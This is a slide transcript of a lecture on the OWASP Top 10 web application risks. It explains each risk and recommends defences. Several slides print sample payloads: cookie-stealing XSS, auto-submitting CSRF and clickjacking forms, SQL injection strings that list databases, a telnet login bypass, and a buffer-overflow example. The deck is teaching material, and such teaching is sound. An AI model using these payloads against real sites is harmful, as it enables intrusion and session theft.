Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

The top 10 security issues in web applications


Published on

Presentation for the Devnology Community Back to School program at the Radboud University Nijmegen

Published in: Technology
  • Be the first to comment

The top 10 security issues in web applications

  1. 1. The top 10 security issues in web applications ir. Walter Belgers, CISSP, CISA
  2. 2. Walter Belgers• Principal Security Consultant and Partner at Madison Gurkha B.V.• Close to 20 years of professional experience in technical IT security
  3. 3. • Madison Gurkha supports organisations with high quality services to efficiently identify, decrease and prevent IT security risks • With a focus on technical security aspects
  4. 4. • Non-profit organisation• 70 local chapters• Develop several tools (a.o. WebScarab, LiveCD)• Spread knowledge (Webgoat, documentation)• Methodology (testing) / legal / ...• OWASP TOP-10
  5. 5. OWASP TOP-10 2010A1 - Injection A6 - Security MisconfigurationA2 - Cross Site Scripting A7 - Insecure Cryptographic(XSS) StorageA3 - Broken Authentication A8 - Failure to Restrict URLand Session Management AccessA4 - Insecure Direct Object A9 - Insufficient TransportReferences Layer SecurityA5 - Cross Site Request A10 - Unvalidated RedirectsForgery (CSRF) and Forwards
  6. 6. A10 - Redirects• The site sends you to a URL that can be manipulated• That in turn can be encoded in a normal looking URL• Phishing attack
  7. 7. A9 - TLS• HTTP versus HTTPS• Protocol: SSLv2, SSLv3, TLSv1• Crypto-algorithm: several• Certificates• Marking session cookies as ‘secure’
  8. 8. A9 - TLS• The purpose of SSL • Actually only useful for untrusted (WiFi-)networks • Do you pay attention all of the time? • VPN• Firefox (Chrome) plugin: perspectives
  9. 9. A8 - Restricting URL’s• Page can be retrieved without authentication • Programming error• Page can only be retrieved if you know the “secret URL” • “Security through obscurity”
  10. 10. <script language="javascript"><!--///*This Script allows people to enter by using a form that asks for a UserID and Password*/function pasuser(form) { if ("buyers") { if (form.pass.value=="gov1996") { location="" } else { alert("Invalid Password") } } else { alert("Invalid UserID") }}//--></script>
  11. 11. Real-life exampleif (Pressed=”Update”) { if (top.content.Rights==”user”) { alert(“You are not authorized!”); return(-1); } ...}
  12. 12. A7 - Crypt. Storage• Data in a database should (maybe partially) be encrypted/hashed • Passwords, credit card data, ..• Of importance when data leaks out
  13. 13. A6 - Misconfiguration• Missing security patches• Default users / programs• Directory listings• File access (uploads, .inc files)• Elaborate error messages
  14. 14. Exploits[~] walter> telnet -l -fbin to character is ^].Last login: Tue Sep 25 09:52:33 from Microsystems Inc. SunOS 5.10 Generic January 2005$ iduid=2(bin) gid=2(bin)$
  15. 15. - Nikto v2.1.3/2.1.4+ Target Host: www.<host>.nl+ Target Port: 80+ GET /0WAEdrRg.php: Retrieved x-powered-by header: ASP.NET+ GET /0WAEdrRg.axd: Retrieved x-aspnet-version header: 2.0.50727+ GET /robots.txt: robots.txt contains 36 entries which should be manually viewed.+ HEAD /: Microsoft-IIS/6.0 appears to be outdated (4.0 for NT 4, 5.0 for Win2k, current is at least 7.5)+ GET /: Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST+ GET /: Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST+ GET /webmail/blank.html: /webmail/blank.html: IlohaMail 0.8.10 contains an XSS vulnerability. Previous versions contain other non-descript vulnerabilities.+ GET /webmail/: /webmail/: Web based mail package installed.+ OSVDB-3093: GET /webmail/lib/ /webmail/lib/ This might be interesting... has been seen in web logs from an unknown scanner.+ OSVDB-3093: GET /webmail/src/read_body.php: /webmail/src/ read_body.php: This might be interesting... has been seen in web logs from an unknown scanner.+ OSVDB-3092: GET /er/: /er/: This might be interesting... potential country code (Eritrea)
  16. 16. Configuration files• Old files (x.bak, x.old, x~, Copy of x) • Google cache, Way Back machine• .htaccess files• /robots.txt• Source revision control files• Include files • PHP files not ending in .php
  17. 17. A5 - CSRF• Cross Site • The attack page is on the site of the attacker • Must be visited (e-mail?)• Request Forgery • Often a POST-request with specially constructed values • You have to be logged in to the target site
  18. 18. CSRF in a CMS<form name=“csrf” action=" &action=admin&subaction=editgroups&groupname=admin" method="post"<input type="hidden" name="txtUserEmail" value=""><input type="hidden" name="btnAddUserToGroup" value="Add User to Group"></form><script>document.csrf.submit();</script>
  19. 19. Clickjacking<iframe style="width: 0px; height: 0px; visibility: hidden" name="hidden"></iframe><form name="csrf" action="" method="post" target="hidden"><input type="hidden" name="ASIN" value="059600656X" /><input type="hidden" name="offerListingID" value="XYPvvbir%2FyHMyphE %2Fy0hKK%2BNt%2FB7%2FlRTFpIRPQG28BSrQ98hAsPyhlIn75S3jksXb3bdE %2FfgEoOZN0Wyy5qYrwEFzXBuOgqf" /></form><script>document.csrf.submit();</script>
  20. 20. A4 - Insecure References
  21. 21. A4 - Insecure References<form action=“housessince.cgi”><select name=“since”> <option value=“00”>today</option> <option value=“01”>yesterday</option> <option value=“07”>last week</option></select><input type=“submit”></form>
  22. 22. A3 - Broken Session Mgmt• Is there a session timeout?• How many simultaneous logins are allowed?• Can you change systems within a session (different IP number)• Is there a logout button?• Are credentials sent using a secure connection? (A9)• How often can you try logging in per user?
  23. 23. A3 - Broken Session Mgmt• Do you get to know what was wrong when logging in fails?• Does the server (also) invalidate the session cookie when logging out?• Does the URL contain session id’s? login.html;jsessionid=F0382A6E8172DC7B8D90599B12AECE16• Session fixation problems
  24. 24. A2 - XSS• Cross Site • The victim’s browser redirects from the vulnerable site to the attacker’s site• Scripting • This happens by executing JavaScript in the victim’s browser• Goal: stealing session credentials (cookies)
  25. 25. Stored XSS• The attacker can leave behind input that is being shown to (other) visitors of the site • Profile information • Messages • ...
  26. 26. Stored XSSYour message:This is my message.<script>document.location=‘’+document.cookie</script>
  27. 27. Reflected XSS<a href=“ is my message.<script>document.location=‘’+document.cookie</script>”>This isawesome!! Click here!</a>
  28. 28. Reflected XSS<a href=“http%3A//”>This is awesome!! Click here!</a>
  29. 29. Reflected XSS<img src=“http%3A//” />
  30. 30. A1 - Injection• Problem: data gets mingled with “program code” • PHP, Perl, .. • But also: SQL, LDAP, ..
  31. 31. Old problem• In-band signalling• Well-known from telephony• Hot again! foto:
  32. 32. Typical setup Internet Inernet HTTP www SQL Internal Intern Internal network netwerk network db
  33. 33. SQL injection Your name please: walter Name: Balance: walter €100SELECT * FROM users WHERE name=“$name”SELECT * FROM users WHERE name=“walter”
  34. 34. SQL injection Your name please: ” OR “a”== “a Name: Balance: walter €100 guido €1000 hans €2000SELECT * FROM users WHERE name=“$name”SELECT * FROM users WHERE name=“” OR “a”==“a”
  35. 35. Real-Life Example• Bank site• With a search function• We enter as search string: <script>alert(‘test’)</script>• This running Macro ‘odbc’: Error in line 2: Incorrent syntax near Error yields: ‘test’. (SELECT nr, subject FROM pagedb WHERE (subject LIKE ‘%<script>alert(‘test’)</script>’ order by subject) (source: Microsoft OLE DB Provider for SQL Server)
  36. 36. SQL injection• Input frut’) or 1=1-- yields all pages• Input frut’) union select 0, @@version from pagedb-- yields information about the type of software being used• Input frut’) union select dbid, name from master..sysdatabases-- yields a list of databases
  37. 37. Injection• Input fields• Are sometimes/often “secured” with JavaScript- code• That code runs in the browser • If the user allows it to..
  38. 38. Injection• In addition to input fields: • URL’s (GET requests) • Hidden fields (POST requests) • Cookies • Other data in the HTTP-headers (e.g. referer)
  39. 39. Local proxy Internet Inernet HTTP www SQL Internal Intern Internal network netwerk network db
  40. 40. WebScarab, Burp, Paros
  41. 41. Demo
  42. 42. Configuration• Installation ≠ configuration • Remove example scripts • Set passwords where possible • Remove unnecessary files • (Hardening)• A6, A9
  43. 43. Software
  44. 44. Patching✓OS and some applications: automaticx For a lot of additional software: not automatic
  45. 45. Patchingx For in-house developed software: ???• Security audits
  46. 46. Input filtering• Helps prevent A1, A2, A4, A8 and A10!• Check all input before storing, processing or showing it • Data in URL’s, forms, cookies, HTTP-headers, etc.
  47. 47. Input filtering• White-list filtering: only allow certain characters• Black-list filtering: remove ‘dangerous’ characters
  48. 48. Black list filtering • <SCRIPT><script> • <␣script> • %3Cscript> • “<sc”+“ript”> • <b onmouseover=“...”>
  49. 49. Escaping of output• Rewriting ‘dangerous characters’• For example &lt; instead of <• The rewriting depends on where it must be done!
  50. 50. Escaping of output• In the template: <p>%(foo)</p>• We request: foo=<script>alert(document.cookie)</script>• We get: <p><script>alert(document.cookie)</ script></p>• Escaping: rewriting < > into &lt; &gt;
  51. 51. Escaping of output• In the template: <input name=“foo” value=“% (foo)” />• We request: foo=”%20onmouseover=“alert(document.cookie)• We get: <input name=“foo” value=“” onmouseover=“alert(document.cookie)” />• Escaping: rewriting “ into &quot;
  52. 52. Escaping of output• In the template: <script>var foo=‘%(foo)’, bar=‘% (bar)’;</script>• We request: &bar=;alert(document.cookie);//• We get: <script>var foo=‘’, bar=’;alert(document.cookie);//
  53. 53. Secure programming• Can fix A3, A4 A5, A7
  54. 54. Secure programming• Not many programmers have a background in ‘secure programmin’ main(int argc, char* argv[]) { char *buf[2000]; int len; len = atoi(argv[1]); if (len > 2000) { printf("Too much input!n"); exit(-1); } memcpy(buf, argv[2], len); }
  55. 55. Tips and tricks• A2: use the ‘HttpOnly’ option for session cookies• A3: generate a new session cookie on the login page• A5: use a nonce• Sometimes, a framework can help
  56. 56. What to do? (1)• Learn programmers how to write secure code• Create a security specification next to the functional specification • Also when the application is bought from a supplier • Abuse cases• Auditing
  57. 57. What to do? (2)• If All Else Fails... (and it will)• Multiple layers of defense (prevention)• Logging and monitoring (detection)• Emergency plan (reaction)
  58. 58. Web application security• There are no fantastic automated tools• With a good brain and tools like Burp Suite, every web application can be tested well
  59. 59.